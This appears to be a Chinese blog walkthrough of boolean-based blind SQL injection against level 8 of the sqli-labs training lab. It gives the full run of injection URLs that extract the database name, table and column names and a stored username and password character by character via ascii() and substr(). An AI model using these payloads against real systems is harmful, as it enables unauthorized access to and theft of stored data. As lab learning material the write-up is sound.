布尔盲注(基于sqli-labs第八关)
对于盲注只有2种感觉,好玩,好烦。
新技能好玩,一个一个猜好烦。不知道你们是否跟我一样。
手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。
注入还设有第一点,看注入点在哪里。
个人的查看注入点的方式‘单引号,“双引号,
http://localhost/sqli/Less-8/?id=1 #正常
http://localhost/sqli/Less-8/?id=1‘ #不正常
http://localhost/sqli/Less-8/?id=1" #正常
接下来就是构造闭合
http://localhost/sqli/Less-8/?id=1‘--+ #正常,我可以认为是闭合成功了。
http://localhost/sqli/Less-8/?id=1‘ and 1=1--+ #正常
http://localhost/sqli/Less-8/?id=1‘ and 1=2--+ #不正常
接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length
length() 返回字符串的长度
http://localhost/sqli/Less-8/?id=1‘ and length(database())>1--+ #肯定大于1,这个事实
http://localhost/sqli/Less-8/?id=1‘ and length(database())>7--+ #大于7
http://localhost/sqli/Less-8/?id=1‘ and length(database())>8--+ #不大于8
http://localhost/sqli/Less-8/?id=1‘ and length(database())=8--+ #数据库等于8,然后呢!
然后猜解字符了,编辑坑爹呀!感觉还是写个字典用burp跑
通过ascii()和substr()猜测数据库名
ascii() #返回指定数字对应的ascii码字符函数
substr()
不停的爆破
第二个是101 e
第三个是 99 c
第四个是117 u
第五个是114 r
第六个是105 i
第七个是116 t
第八个是121 y
可以得到数据库名字为:security
接下来头疼的爆数据表,盲注果然是很枯燥的事情。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117--+
第一个数据表 101,109,97,105,108,115 =>emails
第二个数据表 114,101,102,101,114,101,114,115 =>referers
第三个数据表 117,97,103,101,110,116,115 =>uagents
第四个数据表 117,115,101,114,115 =>users
爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--+
第一个字段 117,115,101,114,95,105,100 =>user_id
第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name
内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略
第三个字段 108 pass =>last_name
第四个字段 117,115,101,114 =>user
第五个字段 112,97,115,115,119,111,114,100, =>password
第六个字段 97 pass =>avatar
第七个字段 105 =》id
第八个字段 117,115,101,114,110,97,109,101 =>username
猜解一下用户名username,密码password
感觉太悲催。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select username from users limit 0,1),1,1)))=105--+
第一个用户名:68,117,109,98 =>Dumb
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+
第一个密码:68,117,109,98 =>Dumb